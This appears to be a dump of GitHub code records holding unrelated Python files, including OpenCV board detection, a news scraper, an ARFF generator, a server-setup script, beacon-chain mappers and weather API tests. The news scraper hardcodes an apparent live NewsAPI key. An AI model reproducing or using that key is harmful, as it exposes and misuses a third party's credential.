game.play_game()\n\n # Save the game\n\n folder_name = 'my_game'\n game.save(folder_name)\n\n # Procrastinate\n\n del game\n\n # Load the game\n\n game = Game.load(folder_name)\n\n # Plot the last state of the game\n\n plot_args = {\n \"node_transparency\": 0.3,\n \"significant_digits\": 4,\n \"leader_board_size\": 3,\n }\n\n # still need to clean plot (return ax, handle display externally)\n plot(game, **plot_args)\n\n # Replay the game\n\n","repo_name":"djechlin/network_game_theory","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"40012339299","text":"import cv2\nfrom board_filter import *\nfrom statistics import mean\n\ncap = cv2.VideoCapture(0)\n\nwin1 = \"Original\"\nwin2 = \"Gray\"\nwin3 = \"Gray Blur\"\nwin4 = \"Canny Edge\"\nwin5 = \"Hough Line\"\nwin6 = \"Vertical Horizontal\"\n\ncv2.namedWindow(win1)\ncv2.namedWindow(win2)\ncv2.namedWindow(win3)\ncv2.namedWindow(win4)\ncv2.namedWindow(win5)\ncv2.namedWindow(win6)\n\ncv2.moveWindow(win1, 0, 0)\ncv2.moveWindow(win2, 400, 0)\ncv2.moveWindow(win3, 800, 0)\ncv2.moveWindow(win4, 0, 300)\ncv2.moveWindow(win5, 400, 300)\ncv2.moveWindow(win6, 800, 300)\n\n# Check if the webcam is opened correctly\nif not cap.isOpened():\n raise IOError(\"Cannot open webcam\")\n\nwhile True:\n ret, frame = cap.read()\n # frame = cv2.imread('4.jpg')\n\n hough_line_frame = cv2.resize(frame.copy(), (400, 300))\n # ver_hor_frame = cv2.resize(frame.copy(), (400, 300))\n # intersection_frame = cv2.resize(frame.copy(), (400, 300))\n\n frame = cv2.resize(frame, (400, 300), interpolation=cv2.INTER_AREA)\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n gray_blur = cv2.blur(gray, (5, 5))\n edges = canny_edge(gray_blur)\n lines = hough_line(edges)\n print(lines)\n if lines is not None: \n for line in lines:\n rho,theta = line[0]\n if not np.isnan(rho) and not np.isnan(theta):\n a = np.cos(theta)\n b = np.sin(theta)\n x0 = a*rho\n y0 = b*rho\n x1 = int(x0 + 1000*(-b))\n y1 = int(y0 + 1000*(a))\n x2 = int(x0 - 1000*(-b))\n y2 = int(y0 - 1000*(a))\n cv2.line(hough_line_frame, (x1,y1), (x2,y2), (0,0,255), 2)\n h_lines, v_lines = h_v_lines(lines)\n if h_lines is not None and v_lines is not None:\n print(\"h_lines: \" + str(h_lines))\n print(\"v_lines: \" + str(v_lines))\n try:\n for h_line in h_lines:\n rho, theta = h_line\n a = np.cos(theta)\n b = np.sin(theta)\n x0 = a*rho\n y0 = b*rho\n x1 = int(x0 + 1000*(-b))\n y1 = int(y0 + 1000*(a))\n x2 = int(x0 - 1000*(-b))\n y2 = int(y0 - 1000*(a))\n cv2.line(ver_hor_frame, (x1,y1),(x2,y2),(255,0,0),2)\n except ValueError:\n print(\"h_line error\")\n break\n try:\n for v_line in v_lines:\n rho, theta = v_line\n a = np.cos(theta)\n b = np.sin(theta)\n x0 = a*rho\n y0 = b*rho\n x1 = int(x0 + 1000*(-b))\n y1 = int(y0 + 1000*(a))\n x2 = int(x0 - 1000*(-b))\n y2 = int(y0 - 1000*(a))\n cv2.line(ver_hor_frame, (x1,y1),(x2,y2),(0,255,0),2)\n except ValueError:\n print(\"v_line error\")\n break\n intersection_points = line_intersections(h_lines, v_lines)\n points = cluster_points(intersection_points)\n augmented_points = augment_points(points)\n for point in augmented_points:\n x, y = point\n cv2.circle(intersection_frame, (int(x), int(y)), radius=5, color=(0, 0, 255), thickness=-1)\n\n cv2.imshow(win1, frame)\n cv2.imshow(win2, gray_blur)\n cv2.imshow(win3, edges)\n cv2.imshow(win4, hough_line_frame)\n # cv2.imshow(win5, hough_line_frame)\n # cv2.imshow(win6, ver_hor_frame)\n\n c = cv2.waitKey(1)\n if c == ord(\"q\"):\n break\n\ncap.release()\ncv2.destroyAllWindows()\n","repo_name":"bjuspi/betaGo","sub_path":"perception/sample/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"38856610313","text":"import datetime\nfrom newsapi import NewsApiClient\nfrom newspaper import Article, ArticleException\n\napi_key = \"d7fdd614973a4651b2a941fb5ecbcf20\"\nnewsapi = NewsApiClient(api_key=api_key)\n\nmax_articles = 100\n\n# get local time for today and the week before (to scrape articles from the past week to now)\ntoday = datetime.datetime.today().date()\nweek = (today - datetime.timedelta(days=2))\n\n\n# downloads and summarises articles from list of given URLs\ndef read_article(articles):\n print(\"Processing articles...\")\n article_summary = []\n if len(articles) > max_articles:\n articles = articles[:max_articles]\n for a in articles:\n try:\n article = Article(a)\n article.download()\n article.parse()\n article.nlp()\n article_summary.append(article.summary)\n except ArticleException:\n print(\"Could not download article\")\n\n return article_summary\n\n\n# scrape articles to retrieve URL\ndef scrape(get_keywords, get_week, get_today):\n articles = []\n for words in get_keywords:\n scrape_articles = newsapi.get_everything(q=words,\n from_param=get_week,\n to=get_today,\n language='en',\n sort_by='relevancy',\n page=2)\n\n for a in scrape_articles[\"articles\"]:\n articles.append(a[\"url\"])\n\n # print(articles)\n return articles\n\n\n# pass results to sentimentAnalysis.py\ndef pass_to_sentiment(sym):\n read_articles = scrape([sym], week, today)\n summary = read_article(read_articles)\n\n return summary\n","repo_name":"dsy17/Python-Robo-Advisor","sub_path":"robo_advisor/newsScraper.py","file_name":"newsScraper.py","file_ext":"py","file_size_in_byte":1751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"31308771664","text":"from datetime import date\nfrom sqlalchemy import event\nfrom koi.Configurator import mainlog\nfrom koi.dao import dao\nfrom koi.db_mapping import OperationDefinition, OperationDefinitionPeriod\n\n\nclass OperationDefinitionCache(object):\n def __init__(self):\n self._opdefs = None\n self._opdefs_periods = dict()\n self._current_day = date.today()\n self._cache_needs_refresh = False\n\n event.listen(OperationDefinition, 'after_insert', self._reload_on_sqla_event)\n event.listen(OperationDefinition, 'after_update', self._reload_on_sqla_event)\n event.listen(OperationDefinition, 'after_delete', self._reload_on_sqla_event)\n\n event.listen(OperationDefinitionPeriod, 'after_insert', self._reload_on_sqla_event)\n event.listen(OperationDefinitionPeriod, 'after_update', self._reload_on_sqla_event)\n event.listen(OperationDefinitionPeriod, 'after_delete', self._reload_on_sqla_event)\n\n def _reload_on_sqla_event(self, mapper, connection, target):\n # Pay attention ! This is a method called by SQLA's events system.\n # So you shall not play with the session here... (esp. no commit)\n # Moreover, according to my tests, after an insert, trying to load\n # an object won't work. That is if you insert A, then qurying for A\n # here won't work... So I revert to a delayed refresh.\n\n self._cache_needs_refresh = True\n\n def all_on_order_part(self, commit=True):\n if not self._opdefs:\n self._opdefs = dao.operation_definition_dao.all_on_order_part( commit)\n for opdef in self._opdefs:\n self._opdefs_periods[opdef.operation_definition_id] = opdef.periods\n\n return self._opdefs\n\n def refresh(self):\n self.set_on_day( self._current_day)\n\n def set_on_day(self, d, commit=True):\n self._cache = dict()\n self._cost_cache = dict()\n self._imputable_cache = dict()\n\n for op in self.all_on_order_part(commit=commit):\n self._cache[op.operation_definition_id] = op\n\n cost_on_date = 0\n for p in self._opdefs_periods[op.operation_definition_id]:\n if (not p.end_date and d >= p.start_date) or \\\n (p.end_date and p.start_date <= d <= p.end_date):\n cost_on_date = p.cost\n break\n\n self._cost_cache[op.operation_definition_id] = cost_on_date\n self._imputable_cache[op.operation_definition_id] = op.imputable\n\n if not self._cache:\n mainlog.debug(\"set_on_day : refreshed cache on {}, but not op def was found\".format(d))\n else:\n mainlog.debug(\"set_on_day : refreshed cache on {}, {} op def were found\".format(d, len(self._cache)))\n mainlog.debug(\"set_on_day : opdef id's in cache are {}\".format([k for k in self._cache.keys()]))\n\n self._cache_needs_refresh = False\n\n def _refresh_if_needed(self):\n if self._cache_needs_refresh:\n self.set_on_day(self._current_day, commit=False)\n\n def opdef_by_id(self,identifier):\n # I allow to return none because at any point in time\n # someone can delete an operation and thus the GUI\n # might be de-synchronized from this cache.\n\n self._refresh_if_needed()\n if identifier in self._cache:\n return self._cache[identifier]\n else:\n return None\n\n def cost_by_id(self,identifier):\n self._refresh_if_needed()\n if identifier in self._cost_cache:\n return self._cost_cache[identifier]\n else:\n return 0\n\n def imputable_by_id(self,identifier):\n self._refresh_if_needed()\n if identifier in self._imputable_cache:\n # mainlog.debug(\"OperationDefinitionCache.imputable_by_id {} => {}\".format(identifier, self._imputable_cache[identifier]))\n return self._imputable_cache[identifier]\n else:\n return False\n\n\noperation_definition_cache = OperationDefinitionCache()\n","repo_name":"wiz21b/koi","sub_path":"koi/OperationDefinitionsCache.py","file_name":"OperationDefinitionsCache.py","file_ext":"py","file_size_in_byte":4022,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"60"} +{"seq_id":"2069017739","text":"import collections\nimport sys\nimport random\nimport getopt\n\ndef open_features(featureset_file):\n ffile = open(featureset_file)\n features = []\n for line in ffile.readlines():\n features.append(line.split()[1])\n return features\n\ndef usage():\n print(' ARFF File Generator v1.0 by Tim auf der Landwehr')\n print()\n print(' Usage: arff_generator.py [--features file1] [--out file2]')\n print('\\tLoads features from \\'features.txt\\' and tweets from \\'NL.txt\\' and \\'OTHER.txt\\',')\n print('\\t and writes arff output to \\'NL_OTHER_features.arff\\'')\n print()\n print(' --features file')\n print(' \\tLoad features from different file.')\n print(' --out file')\n print(' \\tChange name of output file.')\n print(' --dutch file')\n print(' \\tLoad dutch tweets from different file.')\n print(' --other file')\n print(' \\tLoad other tweets from different file.')\n\nif __name__ == '__main__':\n try:\n opts, args = getopt.gnu_getopt(sys.argv[1:],\"ho:v\",[\"help\",\"features=\", \"out=\", \"dutch=\", \"other=\"])\n except (getopt.GetoptError, NameError) as err:\n usage()\n sys.exit()\n\n dutch_file = 'NL.txt'\n other_file = 'OTHER.txt'\n features_file = 'features.txt'\n output_filename = 'NL_OTHER_features.arff'\n\n for o,v in opts:\n if o in ('--features'):\n features_file = v\n if o in ('--out'):\n output_filename = v\n if o in ('--dutch'):\n dutch_file = v\n if o in ('--other'):\n other_file = v\n\n print('reading dutch tweets from from [%s]' %dutch_file)\n print('reading other tweets from [%s]' %other_file)\n print('reading features from [%s]' %features_file)\n print('writing arff to [%s]' %output_filename)\n\n try:\n dutch_tweets = open(dutch_file).readlines()\n other_tweets = open(other_file).readlines()\n output_file = open(output_filename, 'w')\n except (FileNotFoundError) as err:\n print('Couldn\\'t read from one one of the source files, exiting...')\n sys.exit()\n\n arff_output = []\n arff_output.append('@relation \\'dutch tweet recognition, '+dutch_file+'+'+other_file+'\\'')\n arff_output.append('@attribute @@class@@ {NL,OTHER}')\n\n try:\n features = open_features(features_file)\n except (FileNotFoundError) as err:\n print('Couldn\\'t read from the features files, exiting...')\n sys.exit()\n\n print(\"writing features...\")\n\n for index in range(len(features)):\n # excape dangerous characters\n if features[index] == '\\\\':\n line = \"@attribute ';backslash;' numeric\"\n elif features[index] == '\\'':\n line = \"@attribute ';quote;' numeric\"\n elif features[index] == '\\n':\n line = \"@attribute ';linebreak;' numeric\"\n else:\n line = \"@attribute '\"+features[index]+\"' numeric\"\n\n arff_output.append(line)\n\n arff_output.append('')\n arff_output.append('@data')\n output_file.write('\\n'.join(arff_output))\n\n arff_output = ['\\n']\n\n print(\"parsing and writing dutch tweets...\")\n for tweet in dutch_tweets:\n feature_counts = collections.OrderedDict()\n for feature in features:\n counts = tweet.count(feature)\n if counts > 0:\n feature_counts[feature] = counts\n\n line = '{'\n line += ','.join(['%s %s' %(features.index(feature)+1, count) for (feature, count) in feature_counts.items()])\n line += '}'\n\n #output_file.write(line+'\\n')\n arff_output.append(line)\n\n output_file.write('\\n'.join(arff_output))\n arff_output = ['\\n']\n\n print(\"parsing and writing other tweets...\")\n for tweet in other_tweets:\n feature_counts = collections.OrderedDict()\n for feature in features:\n counts = tweet.count(feature)\n if counts > 0:\n feature_counts[feature] = counts\n\n line = '{0 OTHER,'\n line += ','.join(['%s %s' %(features.index(feature)+1, count) for (feature, count) in feature_counts.items()])\n line += '}'\n\n #output_file.write(line+'\\n')\n arff_output.append(line)\n\n output_file.write('\\n'.join(arff_output))\n print('finished successfully.')\n\n\n","repo_name":"taufderl/learning-from-data","sub_path":"assignment2/arff_generator.py","file_name":"arff_generator.py","file_ext":"py","file_size_in_byte":3888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"73478788670","text":"#!/usr/bin/env python\nimport pcl\nimport glob\nimport cv2 as cv\nimport math\nimport tensorflow as tf\nimport numpy as np\npedestrian_paths = glob.glob('./pedestrian/*')\ndef extractFeature(temp_pcd):\n\n feature_list = []\n\n # feature1 number of cluster\n # ori_pcd = pcl.load(filename)\n ori_pcd = temp_pcd\n feature_list.append(ori_pcd.size)\n # feature2 distance from pointcloud to sensor\n min_dis = 1000\n for i in ori_pcd:\n dis = math.sqrt(float(i[0])**2+float(i[1])**2+float(i[2])**2)\n if dis < min_dis:\n min_dis = dis\n\n feature_list.append(min_dis)\n # feature3-7 PCA\n data = np.array(ori_pcd)\n data_mean = np.mean(data,axis=0)\n\n normalize_data = data-data_mean\n\n H = np.dot(normalize_data.T,normalize_data)\n eigenvectors, eigenvalues, eigenvectors_T = np.linalg.svd(H)\n sort_id = eigenvalues.argsort()[::-1]\n eigenvectors = eigenvectors[:,sort_id]\n # print(eigenvalues)\n # print(eigenvectors)\n\n for i in histogram2d(normalize_data,eigenvectors[0],eigenvectors[1],14,7):\n for j in i:\n feature_list.append(j)\n # histogram2d(ori_pcd,eigenvectors[0],eigenvectors[1],14,7)\n for i in histogram2d(normalize_data, eigenvectors[0], eigenvectors[2], 9, 5):\n for j in i:\n feature_list.append(j)\n\n return feature_list\n# def sliceFeature(centered_cloud,e1,e2,e3,slice_n,feature):\n\ndef histogram2d(centered_cloud,e1,e2,x_num,y_num,feature=None):\n pts2d = np.zeros((centered_cloud.shape[0],2))\n # print(centered_cloud.shape[0])\n for i in range(centered_cloud.shape[0]):\n # print(centered_cloud.shape[0])\n\n pts2d[i, 0] = np.dot(np.array(centered_cloud[i]), e1)\n pts2d[i, 1] = np.dot(np.array(centered_cloud[i]), e2)\n\n x_min = min(pts2d[:,0])\n x_max = max(pts2d[:,0])\n y_min = min(pts2d[:,1])\n y_max = max(pts2d[:,1])\n\n det_x = (x_max-x_min)/(x_num-0.01)\n det_y = (y_max-y_min)/(y_num-0.01)\n hist = np.zeros((x_num,y_num))\n for i in pts2d:\n hist[int((i[0]-x_min)/det_x),int((i[1]-y_min)/det_y)]+=1\n if feature!=None:\n feature.append(hist)\n return hist\nif __name__ == '__main__':\n\n\n extractFeature(pedestrian_paths[4])","repo_name":"SDURobotNav/LOPF","sub_path":"hdl_people_tracking/scripts/extractF.py","file_name":"extractF.py","file_ext":"py","file_size_in_byte":2200,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"75494974272","text":"def my_func(param1='default'):\n \"\"\"\n THIS IS THE DOCSTRING\n \"\"\"\n print(f\"my first python function! {param1}\")\n\n\nmy_func()\n\n######################################\n\n\ndef hello():\n return 'hello'\n\n\nresult = hello()\nprint(result)\n\n#######################################\n\n\ndef addNum(num1, num2):\n if type(num1) == type(num2) == type(10):\n return num1+num2\n else:\n return \"Sorry, I need integers!\"\n\n\nresult = addNum(\"2\", \"3\")\nprint(result)\n\n\n# Lambda Expression\n\n# Filter\nmylist = [1, 2, 3, 4, 5, 6, 7, 8]\n\n\ndef even_bool(num):\n return num % 2 == 0\n\n\nevens = filter(even_bool, mylist)\nevens = filter(lambda num: num % 2 == 0, mylist)\n\nprint(list(evens))\n\n##############################\n\ntweet = 'Go Sports! #Sports'\nresult = tweet.split('#')\nprint(result)\n\n##############################\nprint('x' in [1, 2, 3, 'x'])\n","repo_name":"zeus0007/django-study","sub_path":"13. PYTHON_LEVEL_ONE/Part8.py","file_name":"Part8.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"29583513356","text":"from tests.context import unittest, os, Generator, np\nfrom tests.context import tf, K, GeneratorPretrainingGenerator\n\nsess = tf.Session()\nK.set_session(sess)\ntop = os.getcwd()\n\nclass TestGenerator(unittest.TestCase):\n def sub_test(self, actual, expected, msg=None):\n with self.subTest(actual=actual, expected=expected):\n self.assertEqual(actual, expected, msg=msg)\n\n def test_generator(self):\n B = 4\n E = 2\n H = 3\n V = 5\n generator = Generator(sess, B, V, E, H)\n BOS = 1\n x = [BOS] * B\n x = np.array(x).reshape(B, 1)\n\n prob = generator.predict(x)\n\n self.sub_test(prob.shape, (B, V), msg='output shape test')\n self.assertAlmostEqual(B, np.sum(prob), places=1, msg='softmax test')\n\n for i in range(100):\n prob2 = generator.predict(x)\n\n generator.reset_rnn_state()\n prob3 = generator.predict(x)\n\n self.assertNotAlmostEqual(prob[0, 0], prob2[0, 0], places=10, msg='stateful test')\n self.assertAlmostEqual(prob[0, 0], prob3[0, 0], places=7, msg='stateful test')\n\n action = np.array([1, 2, 3, 4])\n reward = np.array([0.1, 0, 0.1, 0.8]).reshape(4,1)\n loss = generator.update(x, action, reward)\n for i in range(500):\n generator.reset_rnn_state()\n loss = generator.update(x, action, reward)\n if i % 100 == 0:\n generator.reset_rnn_state()\n prob = generator.predict(x)\n print(prob[0])\n self.sub_test(np.argmax(prob[0]), 4, 'RL optimization test')\n\n g_data = GeneratorPretrainingGenerator(\n os.path.join(top, 'data', 'kokoro_parsed.txt'),\n B=B,\n shuffle=False)\n T = 40\n num = 100\n output_file = os.path.join(top, 'tests', 'data', 'save', 'generated.txt')\n generator = Generator(sess, B, g_data.V, E, H)\n generator.generate_samples(T, g_data, num, output_file)\n","repo_name":"tyo-yo/SeqGAN","sub_path":"tests/test_Generator.py","file_name":"test_Generator.py","file_ext":"py","file_size_in_byte":1983,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"60"} +{"seq_id":"72935044991","text":"#!/usr/bin/python3\n#\n# add additional servers to devices.csv\n# thomas@linuxmuster.net\n# 20220105\n#\n\nimport configparser\nimport constants\nimport os\nimport random\nimport re\nimport sys\n\nfrom functions import isValidHostIpv4, isValidMac, mySetupLogfile, printScript\nfrom functions import readTextfile, subProc, writeTextfile\nfrom subprocess import Popen, PIPE\nfrom uuid import getnode\n\nlogfile = mySetupLogfile(__file__)\n\n# read setup.ini\nmsg = 'Reading setup data '\nprintScript(msg, '', False, False, True)\nsetupini = constants.SETUPINI\ntry:\n setup = configparser.RawConfigParser(\n delimiters=('='), inline_comment_prefixes=('#', ';'))\n setup.read(setupini)\n firewallip = setup.get('setup', 'firewallip')\n servername = setup.get('setup', 'servername')\n serverip = setup.get('setup', 'serverip')\n rc, devices = readTextfile(constants.WIMPORTDATA)\n printScript(' Success!', '', True, True, False, len(msg))\nexcept:\n printScript(' Failed!', '', True, True, False, len(msg))\n sys.exit(1)\n\n# get random mac address\n\n\ndef getRandomMac(devices):\n while True:\n mac = \"00:00:00:%02x:%02x:%02x\" % (\n random.randint(0, 255),\n random.randint(0, 255),\n random.randint(0, 255)\n )\n if not ';' + mac.upper() + ';' in devices:\n break\n return mac.upper()\n\n# get mac address from arp cache\n\n\ndef getMacFromArp(ip):\n mac = ''\n c = 0\n max = 10\n while not isValidMac(mac):\n if c > 0:\n os.system('sleep 15')\n subProc('ping -c2 ' + ip, logfile)\n pid = Popen([\"arp\", \"-n\", ip], stdout=PIPE)\n arpout = pid.communicate()[0]\n try:\n mac = re.search(\n r\"(([a-f\\d]{1,2}\\:){5}[a-f\\d]{1,2})\", str(arpout)).groups()[0]\n if isValidMac(mac):\n return mac.upper()\n except:\n mac = ''\n c = c + 1\n if c > max:\n break\n return mac\n\n# add devices entry\n\n\ndef addServerDevice(hostname, mac, ip, devices):\n if mac == '':\n return devices\n # server is type addc\n if ip == serverip:\n type = 'addc'\n else:\n type = 'server'\n line = 'server;' + hostname + ';nopxe;' + mac + \\\n ';' + ip + ';;;;' + type + ';;0;;;;SETUP;'\n if ';' + hostname + ';' in devices:\n devices = '\\n' + devices + '\\n'\n devices = re.sub(r'\\n.+?;' + hostname + ';.+?\\n',\n '\\n' + line + '\\n', devices)\n devices = devices[1:-1]\n else:\n if devices[-1] != '\\n':\n line = '\\n' + line\n else:\n line = line + '\\n'\n devices = devices + line\n return devices\n\n\n# collect array\ndevice_array = []\n\n# server\ndevice_array.append((servername, serverip))\n# firewall\ndevice_array.append(('firewall', firewallip))\n\n# iterate\nprintScript('Creating device entries for:')\nfor item in device_array:\n hostname = item[0]\n ip = item[1]\n msg = '* ' + hostname + ' '\n printScript(msg, '', False, False, True)\n # get mac address\n if ip == serverip:\n h = iter(hex(getnode())[2:].zfill(12))\n mac = \":\".join(i + next(h) for i in h)\n else:\n mac = getMacFromArp(ip)\n if mac == '':\n mac = getRandomMac(devices)\n # create devices.csv entry\n devices = addServerDevice(hostname, mac, ip, devices)\n if rc == False:\n printScript(' Failed!', '', True, True, False, len(msg))\n sys.exit(1)\n else:\n printScript(' ' + ip + ' ' + mac, '', True, True, False, len(msg))\n\n# finally write devices.csv\nif not writeTextfile(constants.WIMPORTDATA, devices, 'w'):\n sys.exit(1)\n","repo_name":"linuxmuster/linuxmuster-base7","sub_path":"lib/setup.d/l_add-server.py","file_name":"l_add-server.py","file_ext":"py","file_size_in_byte":3630,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"60"} +{"seq_id":"74248986751","text":"from domain.beacon_block import BeaconBlock\nfrom mapper.attestation_mapper import json_item_to_attestation\nfrom mapper.attester_slashing_mapper import json_item_to_attester_slashing\nfrom mapper.deposit_mapper import json_item_to_deposit\nfrom mapper.proposer_slashing_mapper import json_item_to_proposer_slashing\nfrom mapper.volutary_exit_mapper import json_item_to_volutary_exit\nfrom constant import SLOT_PER_EPOCH\nfrom utils.time_util import get_timestamp_slot\n\n\ndef create_block(json_item):\n block = BeaconBlock()\n block_outer = json_item['block']\n block_inner = block_outer['block']\n\n block.block_slot = int(block_inner['slot'])\n block.block_epoch = block.block_slot // SLOT_PER_EPOCH\n block.block_timestamp = get_timestamp_slot(block.block_slot)\n block.proposer_index = block_inner['proposerIndex']\n\n block.skipped = False\n\n block.block_root = json_item['blockRoot']\n block.parent_root = block_inner['parentRoot']\n block.state_root = block_inner['stateRoot']\n\n block.randao_reveal = block_inner['body']['randaoReveal']\n block.graffiti = block_inner['body']['graffiti']\n\n block.eth1_block_hash = block_inner['body']['eth1Data']['blockHash']\n block.eth1_deposit_root = block_inner['body']['eth1Data']['depositRoot']\n block.eth1_deposit_count = block_inner['body']['eth1Data']['depositCount']\n\n block.signature = block_outer['signature']\n\n block.attestations = [json_item_to_attestation(x)\n for x in block_inner['body']['attestations']]\n block.deposits = [json_item_to_deposit(x)\n for x in block_inner['body']['deposits']]\n block.proposer_slashings = [json_item_to_proposer_slashing(x)\n for x in block_inner['body']['proposerSlashings']]\n block.attester_slashings = [json_item_to_attester_slashing(x)\n for x in block_inner['body']['attesterSlashings']]\n block.voluntary_exits = [json_item_to_volutary_exit(x)\n for x in block_inner['body']['voluntaryExits']]\n return block\n\n\ndef create_missed_block(slot):\n block = BeaconBlock()\n block.block_slot = slot\n block.block_epoch = slot // SLOT_PER_EPOCH\n block.block_timestamp = get_timestamp_slot(slot)\n block.skipped = True\n return block\n\n","repo_name":"Blazar221/Eth2etl","sub_path":"mapper/beacon_block_mapper.py","file_name":"beacon_block_mapper.py","file_ext":"py","file_size_in_byte":2308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"8027007274","text":"#matplotlib inline\r\n \r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n \r\nx = np.array([58, 70, 81, 84, 132, 230, 262, 289, 295, 321])\r\ny = np.array([374, 385, 375, 401, 439, 578, 616, 640, 689, 799])\r\n \r\n# 一次関数\r\ndef func01(x):\r\n return a * x + b\r\n \r\n# グラフ描画\r\ndef func_plot():\r\n z = func01(x)\r\n \r\n plt.scatter(x, y)\r\n plt.plot(x, z, color='red')\r\n \r\n plt.xlabel('CPC')\r\n plt.ylabel('Click')\r\n plt.xlim(0, 400)\r\n plt.ylim(0, 900)\r\n plt.grid()\r\n plt.show()\r\n# aとbのパラメータを仮に1、2としてみる\r\na = ((x * y).mean() - (x.mean() * y.mean())) / ((x ** 2).mean() - x.mean() ** 2)\r\nb = -(a * x.mean()) + y.mean()\r\n \r\nfunc_plot()\r\n","repo_name":"Yamagata-Daichi-1227/Yamagata-testcode","sub_path":"Rendering test/python_test/Regression/Least_squares2.py","file_name":"Least_squares2.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"43465723561","text":"import aiohttp\nimport pytest\n\nfrom pyipma.api import IPMA_API\nfrom pyipma.auxiliar import (\n District,\n Districts,\n Forecast_Location,\n Forecast_Locations,\n Precipitation_Class,\n Precipitation_Classes,\n Sea_Location,\n Sea_Locations,\n Station,\n Stations,\n Weather_Type,\n Weather_Types,\n Wind_Speed_Daily_Type,\n Wind_Speed_Daily_Types,\n)\n\n\n@pytest.mark.asyncio\nasync def test_district():\n async with aiohttp.ClientSession() as session:\n api = IPMA_API(session)\n\n districts_islands = Districts(api)\n\n d = await districts_islands.get(40.6405, -8.6538)\n\n assert len(d) == 35\n assert d[0] == District(1010500, \"Aveiro\", 1, 1, 5, \"AVR\", (40.6413, -8.6535))\n\n\n@pytest.mark.asyncio\nasync def test_forecast_location():\n async with aiohttp.ClientSession() as session:\n api = IPMA_API(session)\n\n forecast_locations = Forecast_Locations(api)\n\n d = await forecast_locations.get(40.5804, -8.4412)\n\n assert len(d) == 423\n assert d[0].globalIdLocal == 1010100\n assert d[0] == Forecast_Location(\n 1010100, \"Águeda\", 1, 1, 1, \"AVR\", (40.5800, -8.4400)\n )\n\n\n@pytest.mark.asyncio\nasync def test_sea_location():\n async with aiohttp.ClientSession() as session:\n api = IPMA_API(session)\n\n sea_locations = Sea_Locations(api)\n\n d = await sea_locations.get(40.6405, -8.6538)\n\n assert len(d) == 12\n assert d[0] == Sea_Location(\n 1060526, \"Figueira da Foz, Costa\", 1, \"CBR\", 302, (40.1417, -8.8783)\n )\n\n\n@pytest.mark.asyncio\nasync def test_station():\n async with aiohttp.ClientSession() as session:\n api = IPMA_API(session)\n\n stations = Stations(api)\n\n s = await stations.get(40.6405, -8.6538)\n\n assert len(s) == 197\n assert s[0] == Station(\n 1210702, \"Aveiro (Universidade)\", (40.63529722, -8.65958333)\n )\n\n\n@pytest.mark.asyncio\nasync def test_weather_type():\n async with aiohttp.ClientSession() as session:\n api = IPMA_API(session)\n\n weather_types = Weather_Types(api)\n\n w = await weather_types.get(0)\n\n assert w.desc() == w.pt\n assert w.en == \"No information\"\n\n w = await weather_types.get(-99)\n\n assert w.desc() == w.pt\n assert w.en == \"--\"\n\n\n@pytest.mark.asyncio\nasync def test_wind_speed_daily():\n async with aiohttp.ClientSession() as session:\n api = IPMA_API(session)\n\n wind_speed_daily = Wind_Speed_Daily_Types(api)\n\n w = await wind_speed_daily.get(0)\n\n assert w.desc() == w.pt\n assert w.en == \"Weak\"\n\n w = await wind_speed_daily.get(-99)\n\n assert w.desc() == w.pt\n assert w.en == \"--\"\n\n\n@pytest.mark.asyncio\nasync def test_precipitation():\n async with aiohttp.ClientSession() as session:\n api = IPMA_API(session)\n\n precipitation_classes = Precipitation_Classes(api)\n\n w = await precipitation_classes.get(0)\n\n assert w.desc() == w.pt\n assert w.en == \"No precipitation\"\n\n w = await precipitation_classes.get(-99)\n\n assert w.desc() == w.pt\n assert w.en == \"--\"\n","repo_name":"dgomes/pyipma","sub_path":"tests/test_auxiliar.py","file_name":"test_auxiliar.py","file_ext":"py","file_size_in_byte":3172,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"60"} +{"seq_id":"17012562155","text":"from typing import List, Union\n\nimport torch\n\nfrom mmcv.utils import deprecated_api_warning\nfrom .utils import get_device\n\n\ndef scatter(input: Union[List, torch.Tensor], devices: List) -> List:\n \"\"\"scatter copies tensor to devices directly.\"\"\"\n current_device = get_device()\n if isinstance(input, list):\n outputs = [scatter(_input, devices) for _input in input]\n return outputs\n elif isinstance(input, torch.Tensor):\n output = input.contiguous()\n return output.to(current_device) if devices != [-1] else output\n else:\n raise Exception(f'Unknown type {type(input)}.')\n\n\nclass Scatter:\n\n @staticmethod\n @deprecated_api_warning({'target_mlus': 'target_devices'},\n cls_name='Scatter')\n def forward(target_devices, input):\n outputs = scatter(input, target_devices)\n return tuple(outputs) if isinstance(outputs, list) else (outputs, )\n","repo_name":"facebookresearch/NeRF-Det","sub_path":"mmdet3d/mmcv/device/_functions.py","file_name":"_functions.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","stars":241,"dataset":"github-code","pt":"60"} +{"seq_id":"37734737811","text":"#-*- coding: utf-8 -*-\n\"\"\"\nCreated on 2017/12/05\n\nUsing Numpy, Pandas and Spicy to build Multi-Class Logistic Regression\n\n@author: HeHeHe\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom scipy.optimize import minimize\n\nclass DimensionValueError(ValueError):\n \"\"\"Define Abnormal Class\"\"\"\n pass\n\nclass 